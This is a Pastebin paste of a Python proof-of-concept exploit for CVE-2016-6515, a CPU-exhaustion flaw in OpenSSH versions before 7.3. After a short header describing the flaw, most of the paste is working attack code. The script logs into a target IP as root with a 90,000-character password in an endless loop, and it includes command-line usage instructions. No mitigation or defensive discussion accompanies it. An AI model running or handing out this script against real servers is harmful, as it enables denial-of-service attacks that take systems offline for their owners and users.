SHARE
TWEET

Untitled

a guest Jul 21st, 2017 458 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ################################################################################
  2. # Title     : OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
  3. # Author    : Kashinath T (tkashinath@secpod.com) (www.secpod.com)
  4. # Vendor    : http://www.openssh.com/
  5. # Software  : http://www.openssh.com/
  6. # Version   : OpenSSH before 7.3
  7. # Tested on : Ubuntu 16.04 LTS, Centos 7
  8. # CVE       : CVE-2016-6515
  9. # Date      : 20-10-2016
  10. #
  11. # NOTE:
  12. # If the remote machine is installed and running OpenSSH version prior to 7.3,
  13. # it does not limit the password length for authentication. Hence, to exploit
  14. # this vulnerability' we will send a crafted data which is of 90000 characters
  15. # in length to the 'password' field while attempting to log in to a remote
  16. # machine via ssh with username as 'root'.
  17. #
  18. # For more info refer,
  19. # http://www.secpod.com/blog/openssh-crypt-cpu-consumption
  20. ################################################################################
  21.  
  22. import sys
  23. from random import choice
  24. from string import lowercase
  25.  
  26. try:
  27.     import paramiko
  28. except ImportError:
  29.     print "[-] python module 'paramiko' is missing, Install paramiko with" \
  30.           " following command 'sudo pip install paramiko'"
  31.     sys.exit(0)
  32.  
  33.  
  34. class ssh_exploit:
  35.  
  36.     def __init__(self):
  37.         """
  38.         Initialise the objects
  39.         """
  40.  
  41.     def ssh_login(self, remote_ip):
  42.  
  43.         try:
  44.             # Crafted password of length 90000
  45.             passwd_len = 90000
  46.             crafted_passwd = "".join(choice(lowercase)
  47.                                      for i in range(passwd_len))
  48.  
  49.             # Connect to a remote machine via ssh
  50.             ssh = paramiko.SSHClient()
  51.             ssh.load_system_host_keys()
  52.             ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  53.  
  54.             # calling connect in infinite loop
  55.             print "[+] Entering infinite loop"
  56.             while 1:
  57.                 ssh.connect(remote_ip, username='root',
  58.                             password=crafted_passwd)
  59.  
  60.         except Exception, msg:
  61.             print "Error in connecting to remote host : ", remote_ip
  62.             print "Exception in : ssh_login method."
  63.             sys.exit(msg)
  64.  
  65.  
  66. def main():
  67.  
  68.     if len(sys.argv) != 2:
  69.         print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
  70.         sys.exit()
  71.  
  72.     # Calling ssh_connect
  73.     ref_obj = ssh_exploit()
  74.     ref_obj.ssh_login(sys.argv[1])
  75.  
  76.  
  77. if __name__ == "__main__":
  78.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top